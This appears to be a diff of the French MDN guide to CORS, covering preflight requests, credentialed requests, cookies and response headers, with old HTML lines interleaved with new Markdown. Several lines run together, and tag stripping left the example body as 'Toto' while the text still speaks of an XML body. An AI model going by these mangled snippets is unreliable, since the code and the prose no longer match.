Note : WebKit Nightly et Safari Technology Preview ajoutent des restrictions supplémentaires pour les valeurs autorisées des en-têtes {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}} et {{HTTPHeader("Content-Language")}}. Si l'un de ces en-têtes a une valeur non-standard, WebKit/Safari considère que la requête ne correspond pas à une requête simple. Les valeurs considérées comme non-standard par WebKit/Safari ne sont pas documentées en dehors de ces bugs WebKit : Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language, Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS et Switch to a blacklist model for restricted Accept headers in simple CORS requests. Aucun autre navigateur n'implémente ces restrictions supplémentaires, car elles ne font pas partie de la spécification.

-
- -

Voici un exemple d'une requête qui devra être précédée d'une requête préliminaire :

- -
var invocation = new XMLHttpRequest();
+```
+
+Cela entraînera un échange simple entre le client et le serveur laissant aux en-têtes CORS le soin de gérer les privilèges d'accès :
+
+![](simple-req-updated.png)
+
+Voyons dans le détail ce que le navigateur envoie au serveur et quelle sera sa réponse :
+
+    GET /resources/public-data/ HTTP/1.1
+    Host: truc.autre
+    User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+    Accept-Language: en-us,en;q=0.5
+    Accept-Encoding: gzip,deflate
+    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+    Connection: keep-alive
+    Referer: http://toto.example/exemples/access-control/simpleXSInvocation.html
+    Origin: http://toto.example
+
+
+    HTTP/1.1 200 OK
+    Date: Mon, 01 Dec 2008 00:23:53 GMT
+    Server: Apache/2.0.61
+    Access-Control-Allow-Origin: *
+    Keep-Alive: timeout=2, max=100
+    Connection: Keep-Alive
+    Transfer-Encoding: chunked
+    Content-Type: application/xml
+
+    [XML Data]
+
+Les lignes 1 à 10 correspondent aux en-têtes envoyés. L'en-tête qui nous intéresse particulièrement ici est {{HTTPHeader("Origin")}}, situé à la ligne 10 : on y voit que l'invocation provient du domaine `http://toto.example`.
+
+Les lignes 13 à 22 détaillent la réponse HTTP du serveur situé sous le domaine `http://truc.autre`. Dans la réponse, le serveur renvoie un en-tête {{HTTPHeader("Access-Control-Allow-Origin")}} (visible à la ligne 16). On voit ici les en-têtes {{HTTPHeader("Origin")}} et {{HTTPHeader("Access-Control-Allow-Origin")}} pour un contrôle d'accès dans sa forme la plus simple. Ici, le serveur répond avec `Access-Control-Allow-Origin: *` ce qui signifie que la ressource peut être demandée par n'importe quel domaine. Si les propriétés de la ressource située sous `http://truc.autre` souhaitaient restreindre l'accès à la ressource à l'origine `http://toto.example`, ils auraient renvoyé :
+
+`Access-Control-Allow-Origin: http://toto.example`
+
+On notera que, dans ce cas, aucun autre domaine que `http://toto.example` (tel qu'identifié par l'en-tête `Origin`) ne pourra accéder à la ressource. L'en-tête `Access-Control-Allow-Origin` devrait contenir la valeur qui a été envoyée dans l'en-tête  `Origin` de la requête.
+
+### Requêtes nécessitant une requête préliminaire
+
+À la différence des [requêtes simples](#simples), les requêtes préliminaires envoient d'abord une requête HTTP avec la méthode {{HTTPMethod("OPTIONS")}} vers la ressource de l'autre domaine afin de déterminer quelle requête peut être envoyée de façon sécurisée. Les requêtes entre différents sites peuvent notamment utiliser ce mécanisme de vérification préliminaire lorsque des données utilisateurs sont impliquées.
+
+Une requête devra être précédée d'une requête préliminaire si **une** des conditions suivantes est respectée :
+
+- La requête utilise une des méthodes suivantes :
+
+  - {{HTTPMethod("PUT")}}
+  - {{HTTPMethod("DELETE")}}
+  - {{HTTPMethod("CONNECT")}}
+  - {{HTTPMethod("OPTIONS")}}
+  - {{HTTPMethod("TRACE")}}
+  - {{HTTPMethod("PATCH")}}
+
+- **Ou si**, en dehors des en-têtes automatiquement paramétrés par l'agent utilisateur (comme {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}} ou [tout autre en-tête dont le nom est réservé dans la spécification](https://fetch.spec.whatwg.org/#forbidden-header-name)), la requête inclut [tout autre en-tête que ceux définis sur la liste blanche](https://fetch.spec.whatwg.org/#cors-safelisted-request-header) :
+
+  - {{HTTPHeader("Accept")}}
+  - {{HTTPHeader("Accept-Language")}}
+  - {{HTTPHeader("Content-Language")}}
+  - {{HTTPHeader("Content-Type")}} (cf. les contraintes supplémentaires ci-après)
+  - {{HTTPHeader("Last-Event-ID")}}
+  - [`DPR`](http://httpwg.org/http-extensions/client-hints.html#dpr)
+  - [`Save-Data`](http://httpwg.org/http-extensions/client-hints.html#save-data)
+  - [`Viewport-Width`](http://httpwg.org/http-extensions/client-hints.html#viewport-width)
+  - [`Width`](http://httpwg.org/http-extensions/client-hints.html#width)
+
+- **Ou si** l'en-tête {{HTTPHeader("Content-Type")}} possède une valeur autre que :
+
+  - `application/x-www-form-urlencoded`
+  - `multipart/form-data`
+  - `text/plain`
+
+- **Ou si** un ou plusieurs gestionnaires d'évènements sont enregistrés sur l'objet {{domxref("XMLHttpRequestUpload")}} utilisé dans la requête.
+- **Ou si** un objet {{domxref("ReadableStream")}} est utilisé dans la requête.
+
+> **Note :** WebKit Nightly et Safari Technology Preview ajoutent des restrictions supplémentaires pour les valeurs autorisées des en-têtes {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}} et {{HTTPHeader("Content-Language")}}. Si l'un de ces en-têtes a une valeur non-standard, WebKit/Safari considère que la requête ne correspond pas à une requête simple. Les valeurs considérées comme non-standard par WebKit/Safari ne sont pas documentées en dehors de ces bugs WebKit : _[Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language](https://bugs.webkit.org/show_bug.cgi?id=165178)_, _[Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS](https://bugs.webkit.org/show_bug.cgi?id=165566)_ et _[Switch to a blacklist model for restricted Accept headers in simple CORS requests](https://bugs.webkit.org/show_bug.cgi?id=166363)_. Aucun autre navigateur n'implémente ces restrictions supplémentaires, car elles ne font pas partie de la spécification.
+
+Voici un exemple d'une requête qui devra être précédée d'une requête préliminaire :
+
+```js
+var invocation = new XMLHttpRequest();
 var url = 'http://truc.autre/resources/post-here/';
-var body = '<?xml version="1.0"?><personne><nom>Toto</nom></personne>';
+var body = 'Toto';
 
 function callOtherDomain(){
   if(invocation)
@@ -211,139 +194,127 @@ function callOtherDomain(){
 }
 
 ......
-
- -

Dans le fragment de code ci-avant, à la ligne 3, on crée un corps XML envoyé avec la requête POST ligne 8. Sur la ligne 9, on voit également un en-tête de requête HTTP non standard : X-PINGOTHER: pingpong. De tels en-têtes ne sont pas décrits par le protocole HTTP/1.1 mais peuvent être utilisés par les applications web. La requête utilisant un en-tête Content-Type qui vaut application/xml et un en-tête spécifique, il est nécessaire d'envoyer au préalable une requête préliminaire.

- -

- -
-

Note : Comme décrit après, la vraie requête POST n'inclut pas les en-têtes Access-Control-Request-* qui sont uniquement nécessaires pour la requête OPTIONS.

-
+``` + +Dans le fragment de code ci-avant, à la ligne 3, on crée un corps XML envoyé avec la requête `POST` ligne 8. Sur la ligne 9, on voit également un en-tête de requête HTTP non standard : `X-PINGOTHER: pingpong`. De tels en-têtes ne sont pas décrits par le protocole HTTP/1.1 mais peuvent être utilisés par les applications web. La requête utilisant un en-tête `Content-Type` qui vaut `application/xml` et un en-tête spécifique, il est nécessaire d'envoyer au préalable une requête préliminaire. -

Voyons ce qui se passe entre le client et le serveur. Le premier échange est la requête/réponse préliminaire :

+![](preflight_correct.png) -
OPTIONS /resources/post-here/ HTTP/1.1
-Host: truc.autre
-User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-us,en;q=0.5
-Accept-Encoding: gzip,deflate
-Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
-Connection: keep-alive
-Origin: http://toto.example
-Access-Control-Request-Method: POST
-Access-Control-Request-Headers: X-PINGOTHER, Content-Type
+> **Note :** Comme décrit après, la vraie requête POST n'inclut pas les en-têtes `Access-Control-Request-*` qui sont uniquement nécessaires pour la requête OPTIONS.
 
+Voyons ce qui se passe entre le client et le serveur. Le premier échange est la requête/réponse préliminaire :
 
-HTTP/1.1 200 OK
-Date: Mon, 01 Dec 2008 01:15:39 GMT
-Server: Apache/2.0.61 (Unix)
-Access-Control-Allow-Origin: http://toto.example
-Access-Control-Allow-Methods: POST, GET
-Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
-Access-Control-Max-Age: 86400
-Vary: Accept-Encoding, Origin
-Content-Encoding: gzip
-Content-Length: 0
-Keep-Alive: timeout=2, max=100
-Connection: Keep-Alive
-Content-Type: text/plain
-
+ OPTIONS /resources/post-here/ HTTP/1.1 + Host: truc.autre + User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + Accept-Language: en-us,en;q=0.5 + Accept-Encoding: gzip,deflate + Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 + Connection: keep-alive + Origin: http://toto.example + Access-Control-Request-Method: POST + Access-Control-Request-Headers: X-PINGOTHER, Content-Type -

Une fois que la requête préliminaire est effectuée, la requête principale est envoyée :

-
POST /resources/post-here/ HTTP/1.1
-Host: truc.autre
-User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-us,en;q=0.5
-Accept-Encoding: gzip,deflate
-Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
-Connection: keep-alive
-X-PINGOTHER: pingpong
-Content-Type: text/xml; charset=UTF-8
-Referer: http://toto.example/exemples/preflightInvocation.html
-Content-Length: 55
-Origin: http://toto.example
-Pragma: no-cache
-Cache-Control: no-cache
+    HTTP/1.1 200 OK
+    Date: Mon, 01 Dec 2008 01:15:39 GMT
+    Server: Apache/2.0.61 (Unix)
+    Access-Control-Allow-Origin: http://toto.example
+    Access-Control-Allow-Methods: POST, GET
+    Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
+    Access-Control-Max-Age: 86400
+    Vary: Accept-Encoding, Origin
+    Content-Encoding: gzip
+    Content-Length: 0
+    Keep-Alive: timeout=2, max=100
+    Connection: Keep-Alive
+    Content-Type: text/plain
 
-<?xml version="1.0"?><personne><nom>Toto</nom></personne>
+Une fois que la requête préliminaire est effectuée, la requête principale est envoyée :
 
+    POST /resources/post-here/ HTTP/1.1
+    Host: truc.autre
+    User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+    Accept-Language: en-us,en;q=0.5
+    Accept-Encoding: gzip,deflate
+    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+    Connection: keep-alive
+    X-PINGOTHER: pingpong
+    Content-Type: text/xml; charset=UTF-8
+    Referer: http://toto.example/exemples/preflightInvocation.html
+    Content-Length: 55
+    Origin: http://toto.example
+    Pragma: no-cache
+    Cache-Control: no-cache
 
-HTTP/1.1 200 OK
-Date: Mon, 01 Dec 2008 01:15:40 GMT
-Server: Apache/2.0.61 (Unix)
-Access-Control-Allow-Origin: http://toto.example
-Vary: Accept-Encoding, Origin
-Content-Encoding: gzip
-Content-Length: 235
-Keep-Alive: timeout=2, max=99
-Connection: Keep-Alive
-Content-Type: text/plain
+    Toto
 
-[Une charge utile GZIPée]
-
-

Entre les lignes 1 à 12 qui précèdent, on voit la requête préliminaire avec la méthode {{HTTPMethod("OPTIONS")}}. Le navigateur détermine qu'il est nécessaire d'envoyer cela à cause des paramètres de la requête fournie par le code JavaScript. De cette façon le serveur peut répondre si la requête principale est acceptable et avec quels paramètres. OPTIONS est une méthode HTTP/1.1 qui est utilisée afin de déterminer de plus amples informations à propos du serveur. La méthode OPTIONS est une méthode « sûre » (safe) et ne change aucune ressource. On notera, qu'avec la requête OPTIONS, deux autres en-têtes sont envoyés (cf. lignes 10 et 11) :

+ HTTP/1.1 200 OK + Date: Mon, 01 Dec 2008 01:15:40 GMT + Server: Apache/2.0.61 (Unix) + Access-Control-Allow-Origin: http://toto.example + Vary: Accept-Encoding, Origin + Content-Encoding: gzip + Content-Length: 235 + Keep-Alive: timeout=2, max=99 + Connection: Keep-Alive + Content-Type: text/plain -
Access-Control-Request-Method: POST
-Access-Control-Request-Headers: X-PINGOTHER, Content-Type
-
+ [Une charge utile GZIPée] -

L'en-tête {{HTTPHeader("Access-Control-Request-Method")}} indique au serveur, pendant la requête préliminaire, que la requête principale sera envoyée avec la méthode POST. L'en-tête {{HTTPHeader("Access-Control-Request-Headers")}} indique au serveur que la requête principale sera envoyée avec un en-tête X-PINGOTHER et un en-tête Content-Type spécifique. Le serveur peut alors déterminer s'il souhaite accepter une telle requête.

+Entre les lignes 1 à 12 qui précèdent, on voit la requête préliminaire avec la méthode {{HTTPMethod("OPTIONS")}}. Le navigateur détermine qu'il est nécessaire d'envoyer cela à cause des paramètres de la requête fournie par le code JavaScript. De cette façon le serveur peut répondre si la requête principale est acceptable et avec quels paramètres. OPTIONS est une méthode HTTP/1.1 qui est utilisée afin de déterminer de plus amples informations à propos du serveur. La méthode OPTIONS est une méthode « sûre » (_safe_) et ne change aucune ressource. On notera, qu'avec la requête OPTIONS, deux autres en-têtes sont envoyés (cf. lignes 10 et 11) : -

Dans les lignes 14 à 26 qui suivent, on voit la réponse renvoyée par le serveur qui indique que la méthode de la requête (POST) ainsi que ses en-têtes (X-PINGOTHER) sont acceptables. Voici ce qu'on peut notamment lire entre les lignes 17 et 20 :

+ Access-Control-Request-Method: POST + Access-Control-Request-Headers: X-PINGOTHER, Content-Type -
Access-Control-Allow-Origin: http://toto.example
-Access-Control-Allow-Methods: POST, GET
-Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
-Access-Control-Max-Age: 86400
+L'en-tête {{HTTPHeader("Access-Control-Request-Method")}} indique au serveur, pendant la requête préliminaire, que la requête principale sera envoyée avec la méthode `POST`. L'en-tête {{HTTPHeader("Access-Control-Request-Headers")}} indique au serveur que la requête principale sera envoyée avec un en-tête `X-PINGOTHER` et un en-tête `Content-Type` spécifique. Le serveur peut alors déterminer s'il souhaite accepter une telle requête. -

Le serveur répond avec un en-tête Access-Control-Allow-Methods et indique que les méthodes POST et GET sont acceptables pour manipuler la ressource visée. On notera que cet en-tête est semblable à l'en-tête de réponse {{HTTPHeader("Allow")}}, toutefois, Access-Control-Allow-Methods est uniquement utilisé dans le cadre du contrôle d'accès.

+Dans les lignes 14 à 26 qui suivent, on voit la réponse renvoyée par le serveur qui indique que la méthode de la requête (`POST`) ainsi que ses en-têtes (`X-PINGOTHER`) sont acceptables. Voici ce qu'on peut notamment lire entre les lignes 17 et 20 : -

Le serveur envoie également l'en-tête Access-Control-Allow-Headers avec une valeur "X-PINGOTHER, Content-Type" qui confirme que les en-têtes souhaités sont autorisés pour la requête principale. Comme Access-Control-Allow-Methods, Access-Control-Allow-Headers est une liste d'en-têtes acceptables séparés par des virgules.

+ Access-Control-Allow-Origin: http://toto.example + Access-Control-Allow-Methods: POST, GET + Access-Control-Allow-Headers: X-PINGOTHER, Content-Type + Access-Control-Max-Age: 86400 -

Enfin, l'en-tête {{HTTPHeader("Access-Control-Max-Age")}} indique avec une valeur exprimée en secondes, la durée pendant laquelle cette réponse préliminaire peut être mise en cache avant la prochaine requête préliminaire. Ici, la réponse est 86400 secondes, ce qui correspond à 24 heures. On notera ici que chaque navigateur possède un maximum interne qui a la priorité lorsque Access-Control-Max-Age lui est supérieur.

+Le serveur répond avec un en-tête `Access-Control-Allow-Methods` et indique que les méthodes `POST` et `GET` sont acceptables pour manipuler la ressource visée. On notera que cet en-tête est semblable à l'en-tête de réponse {{HTTPHeader("Allow")}}, toutefois, `Access-Control-Allow-Methods` est uniquement utilisé dans le cadre du contrôle d'accès. -

Requêtes préliminaires et redirection

+Le serveur envoie également l'en-tête `Access-Control-Allow-Headers` avec une valeur "`X-PINGOTHER, Content-Type`" qui confirme que les en-têtes souhaités sont autorisés pour la requête principale. Comme `Access-Control-Allow-Methods`, `Access-Control-Allow-Headers` est une liste d'en-têtes acceptables séparés par des virgules. -

À l'heure actuelle, la plupart des navigateurs ne prennent pas en charge les redirections pour les requêtes préliminaires. Si une redirection se produit pour une requête préliminaire, la plupart des navigateurs émettront un message d'erreur semblables à ceux-ci.

+Enfin, l'en-tête {{HTTPHeader("Access-Control-Max-Age")}} indique avec une valeur exprimée en secondes, la durée pendant laquelle cette réponse préliminaire peut être mise en cache avant la prochaine requête préliminaire. Ici, la réponse est 86400 secondes, ce qui correspond à 24 heures. On notera ici que chaque navigateur possède[ un maximum interne](/fr/docs/Web/HTTP/Headers/Access-Control-Max-Age) qui a la priorité lorsque `Access-Control-Max-Age` lui est supérieur. -
-

La requête a été redirigée vers 'https://example.com/toto', ce qui n'est pas autorisé pour les requêtes multi-origines qui doivent être précédées d'une requête préliminaire. (The request was redirected to 'https://example.com/toto', which is disallowed for cross-origin requests that require preflight.)

-
+#### Requêtes préliminaires et redirection -
-

Il est nécessaire d'effectuer une requête préliminaire pour cette requête, or, ceci n'est pas autorisé pour suivre les redirections multi-origines. (Request requires preflight, which is disallowed to follow cross-origin redirect.)

-
+À l'heure actuelle, la plupart des navigateurs ne prennent pas en charge les redirections pour les requêtes préliminaires. Si une redirection se produit pour une requête préliminaire, la plupart des navigateurs émettront un message d'erreur semblables à ceux-ci. -

Le protocole CORS demandait initialement ce comportement. Toutefois, il a été modifié et ces erreurs ne sont plus nécessaires. Toutefois, la plupart des navigateurs n'ont pas encore implémenté cette modification et conservent alors le comportement conçu initialement.

+> La requête a été redirigée vers 'https\://example.com/toto', ce qui n'est pas autorisé pour les requêtes multi-origines qui doivent être précédées d'une requête préliminaire. (_The request was redirected to 'https\://example.com/toto', which is disallowed for cross-origin requests that require preflight._) -

En attendant que les navigateurs comblent ce manque, il est possible de contourner cette limitation en utilisant l'une de ces deux méthodes :

+> Il est nécessaire d'effectuer une requête préliminaire pour cette requête, or, ceci n'est pas autorisé pour suivre les redirections multi-origines. (_Request requires preflight, which is disallowed to follow cross-origin redirect._) -
    -
  • Modifier le comportement côté serveur afin d'éviter la requête préliminaire ou la redirection (dans le cas où vous contrôler le serveur sur lequel la requête est effectuée)
    • -
  • Modifier la requête afin que ce soit une requête simple qui ne nécessite pas de requête préliminaire.
    • -
+Le protocole CORS demandait initialement ce comportement. Toutefois, [il a été modifié et ces erreurs ne sont plus nécessaires](https://github.com/whatwg/fetch/commit/0d9a4db8bc02251cc9e391543bb3c1322fb882f2). Toutefois, la plupart des navigateurs n'ont pas encore implémenté cette modification et conservent alors le comportement conçu initialement. -

S'il n'est pas possible d'appliquer ces changements, on peut également :

+En attendant que les navigateurs comblent ce manque, il est possible de contourner cette limitation en utilisant l'une de ces deux méthodes : -
    -
  1. Effectuer une requête simple (avec Response.url si on utilise l'API Fetch ou  XHR.responseURL si on utilise XHR) afin de déterminer l'URL à laquelle aboutirait la requête avec requête préliminaire.
    2. -
  2. Effectuer la requête initialement souhaitée avec l'URL réelle obtenue à la première étape.
    3. -
+- Modifier le comportement côté serveur afin d'éviter la requête préliminaire ou la redirection (dans le cas où vous contrôler le serveur sur lequel la requête est effectuée) +- Modifier la requête afin que ce soit une [requête simple](#simples) qui ne nécessite pas de requête préliminaire. -

Toutefois, si la requête déclenche une requête préliminaire suite à l'absence de l'en-tête {{HTTPHeader("Authorization")}}, on ne pourra pas utiliser cette méthode de contournement et il sera nécessaire d'avoir accès au serveur pour contourner le problème.

+S'il n'est pas possible d'appliquer ces changements, on peut également : -

Requêtes avec informations d'authentification

+1. Effectuer [une requête simple](#simples) (avec [`Response.url`](/fr/docs/Web/API/Response/url) si on utilise l'API Fetch ou  [`XHR.responseURL`](/fr/docs/Web/API/XMLHttpRequest/responseURL) si on utilise XHR) afin de déterminer l'URL à laquelle aboutirait la requête avec requête préliminaire. +2. Effectuer la requête initialement souhaitée avec l'URL _réelle_ obtenue à la première étape. -

Une des fonctionnalités intéressante mise en avant par le CORS (via {{domxref("XMLHttpRequest")}} ou Fetch) est la possibilité d'effectuer des requêtes authentifiées reconnaissant les cookies HTTP et les informations d'authentification HTTP. Par défaut, lorsqu'on réalise des appels {{domxref("XMLHttpRequest")}} ou Fetch entre différents sites, les navigateurs n'enverront pas les informations d'authentification. Pour cela, il est nécessaire d'utiliser une option spécifique avec le constructeur {{domxref("XMLHttpRequest")}} ou {{domxref("Request")}} lorsqu'on l'appelle.

+Toutefois, si la requête déclenche une requête préliminaire suite à l'absence de l'en-tête {{HTTPHeader("Authorization")}}, on ne pourra pas utiliser cette méthode de contournement et il sera nécessaire d'avoir accès au serveur pour contourner le problème. -

Dans cet exemple, le contenu chargé depuis http://toto.example effectue une requête GET simple vers une ressource située sous http://truc.autre qui définit des cookies. Voici un exemple de code JavaScript qui pourrait se trouver sur toto.example :

+### Requêtes avec informations d'authentification -
var invocation = new XMLHttpRequest();
+Une des fonctionnalités intéressante mise en avant par le CORS (via {{domxref("XMLHttpRequest")}} ou [Fetch](/fr/docs/Web/API/Fetch_API)) est la possibilité d'effectuer des requêtes authentifiées reconnaissant les [cookies HTTP](/fr/docs/Web/HTTP/Cookies) et les informations d'authentification HTTP. Par défaut, lorsqu'on réalise des appels {{domxref("XMLHttpRequest")}} ou [Fetch](/fr/docs/Web/API/Fetch_API) entre différents sites, les navigateurs n'enverront pas les informations d'authentification. Pour cela, il est nécessaire d'utiliser une option spécifique avec le constructeur {{domxref("XMLHttpRequest")}} ou {{domxref("Request")}} lorsqu'on l'appelle.
+
+Dans cet exemple, le contenu chargé depuis `http://toto.example` effectue une requête GET simple vers une ressource située sous `http://truc.autre` qui définit des _cookies_. Voici un exemple de code JavaScript qui pourrait se trouver sur `toto.example` :
+
+```js
+var invocation = new XMLHttpRequest();
 var url = 'http://truc.autre/resources/credentialed-content/';
 
 function callOtherDomain(){
@@ -353,202 +324,174 @@ function callOtherDomain(){
     invocation.onreadystatechange = handler;
     invocation.send();
   }
-}
+} +``` + +À la ligne 7, on voit que l'option `withCredentials`, du constructeur {{domxref("XMLHttpRequest")}}, doit être activée pour que l'appel utilise les _cookies_. Par défaut, l'appel sera réalisé sans les _cookies_. Cette requête étant une simple requête `GET`, il n'est pas nécessaire d'avoir une requête préliminaire. Cependant, le navigateur rejettera tout réponse qui ne possède pas l'en-tête {{HTTPHeader("Access-Control-Allow-Credentials")}}`: true` et la réponse correspondante ne sera pas disponible pour le contenu web qui l'a demandée. -

À la ligne 7, on voit que l'option withCredentials, du constructeur {{domxref("XMLHttpRequest")}}, doit être activée pour que l'appel utilise les cookies. Par défaut, l'appel sera réalisé sans les cookies. Cette requête étant une simple requête GET, il n'est pas nécessaire d'avoir une requête préliminaire. Cependant, le navigateur rejettera tout réponse qui ne possède pas l'en-tête {{HTTPHeader("Access-Control-Allow-Credentials")}}: true et la réponse correspondante ne sera pas disponible pour le contenu web qui l'a demandée.

+![](cred-req-updated.png) -

+Voici un exemple d'échange entre le client et le serveur : -

Voici un exemple d'échange entre le client et le serveur :

+ GET /resources/access-control-with-credentials/ HTTP/1.1 + Host: truc.autre + User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + Accept-Language: en-us,en;q=0.5 + Accept-Encoding: gzip,deflate + Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 + Connection: keep-alive + Referer: http://toto.example/exemples/credential.html + Origin: http://toto.example + Cookie: pageAccess=2 -
GET /resources/access-control-with-credentials/ HTTP/1.1
-Host: truc.autre
-User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-us,en;q=0.5
-Accept-Encoding: gzip,deflate
-Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
-Connection: keep-alive
-Referer: http://toto.example/exemples/credential.html
-Origin: http://toto.example
-Cookie: pageAccess=2
 
+    HTTP/1.1 200 OK
+    Date: Mon, 01 Dec 2008 01:34:52 GMT
+    Server: Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi/2.4.2 DAV/2 SVN/1.4.2
+    X-Powered-By: PHP/5.2.6
+    Access-Control-Allow-Origin: http://toto.example
+    Access-Control-Allow-Credentials: true
+    Cache-Control: no-cache
+    Pragma: no-cache
+    Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT
+    Vary: Accept-Encoding, Origin
+    Content-Encoding: gzip
+    Content-Length: 106
+    Keep-Alive: timeout=2, max=100
+    Connection: Keep-Alive
+    Content-Type: text/plain
 
-HTTP/1.1 200 OK
-Date: Mon, 01 Dec 2008 01:34:52 GMT
-Server: Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi/2.4.2 DAV/2 SVN/1.4.2
-X-Powered-By: PHP/5.2.6
-Access-Control-Allow-Origin: http://toto.example
-Access-Control-Allow-Credentials: true
-Cache-Control: no-cache
-Pragma: no-cache
-Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT
-Vary: Accept-Encoding, Origin
-Content-Encoding: gzip
-Content-Length: 106
-Keep-Alive: timeout=2, max=100
-Connection: Keep-Alive
-Content-Type: text/plain
 
+    [text/plain payload]
 
-[text/plain payload]
-
+Bien que la ligne 11 contienne le _cookie_ pour le contenu sous `http://truc.autre`, si `truc.autre` n'avait pas répondu avec {{HTTPHeader("Access-Control-Allow-Credentials")}}`: true` (cf. ligne 19), la réponse aurait été ignorée et n'aurait pas pu être consommée par le contenu web. -

Bien que la ligne 11 contienne le cookie pour le contenu sous http://truc.autre, si truc.autre n'avait pas répondu avec {{HTTPHeader("Access-Control-Allow-Credentials")}}: true (cf. ligne 19), la réponse aurait été ignorée et n'aurait pas pu être consommée par le contenu web.

+#### Requêtes authentifiées et jokers (_wildcards_) -

Requêtes authentifiées et jokers (wildcards)

+Lorsqu'il répond à une requête authentifiée, le serveur **doit** indiquer une origine via la valeur de l'en-tête `Access-Control-Allow-Origin`, il ne doit pas utiliser le joker "`*`". -

Lorsqu'il répond à une requête authentifiée, le serveur doit indiquer une origine via la valeur de l'en-tête Access-Control-Allow-Origin, il ne doit pas utiliser le joker "*".

+Avec la requête précédente, on voit la présence d'un en-tête `Cookie` mais la requête échouerait si la valeur de l'en-tête de réponse `Access-Control-Allow-Origin` était "`*`". Ici, ce n'est pas le cas : `Access-Control-Allow-Origin` vaut "`http://toto.example`" et le contenu récupéré par la requête est alors envoyé au contenu web. -

Avec la requête précédente, on voit la présence d'un en-tête Cookie mais la requête échouerait si la valeur de l'en-tête de réponse Access-Control-Allow-Origin était "*". Ici, ce n'est pas le cas : Access-Control-Allow-Origin vaut "http://toto.example" et le contenu récupéré par la requête est alors envoyé au contenu web.

+Dans cet exemple, on notera également que l'en-tête de réponse `Set-Cookie` définit un autre _cookie_. En cas d'échec, une exception (dépendant de l'API utilisée) sera levée. -

Dans cet exemple, on notera également que l'en-tête de réponse Set-Cookie définit un autre cookie. En cas d'échec, une exception (dépendant de l'API utilisée) sera levée.

+#### _Cookies_ tiers -

Cookies tiers

+On notera que les _cookies_ provenant de réponses CORS sont également sujets aux règles qui s'appliquent aux _cookies_ tiers. Dans l'exemple précédent, la page est chargée depuis `toto.example` et, à la ligne 22, le _cookie_ est envoyé par `truc.autre`. Aussi, ce _cookie_ n'aurait pas été enregistré si l'utilisateur avait paramétré son navigateur pour rejeter les _cookies_ tiers. -

On notera que les cookies provenant de réponses CORS sont également sujets aux règles qui s'appliquent aux cookies tiers. Dans l'exemple précédent, la page est chargée depuis toto.example et, à la ligne 22, le cookie est envoyé par truc.autre. Aussi, ce cookie n'aurait pas été enregistré si l'utilisateur avait paramétré son navigateur pour rejeter les cookies tiers.

+## En-têtes de réponse HTTP -

En-têtes de réponse HTTP

+Dans cette section, on liste les en-têtes de réponse HTTP qui sont renvoyés par le serveur pour le contrôle d'accès, tels que définis par la spécification _Cross-Origin Resource Sharing_. La section précédente illustre, avec des exemples concrets, leur fonctionnement. -

Dans cette section, on liste les en-têtes de réponse HTTP qui sont renvoyés par le serveur pour le contrôle d'accès, tels que définis par la spécification Cross-Origin Resource Sharing. La section précédente illustre, avec des exemples concrets, leur fonctionnement.

+### `Access-Control-Allow-Origin` -

Access-Control-Allow-Origin

+Une ressource de réponse peut avoir un en-tête {{HTTPHeader("Access-Control-Allow-Origin")}} avec la syntaxe suivante : -

Une ressource de réponse peut avoir un en-tête {{HTTPHeader("Access-Control-Allow-Origin")}} avec la syntaxe suivante :

+ Access-Control-Allow-Origin: | * -
Access-Control-Allow-Origin: <origin> | *
-
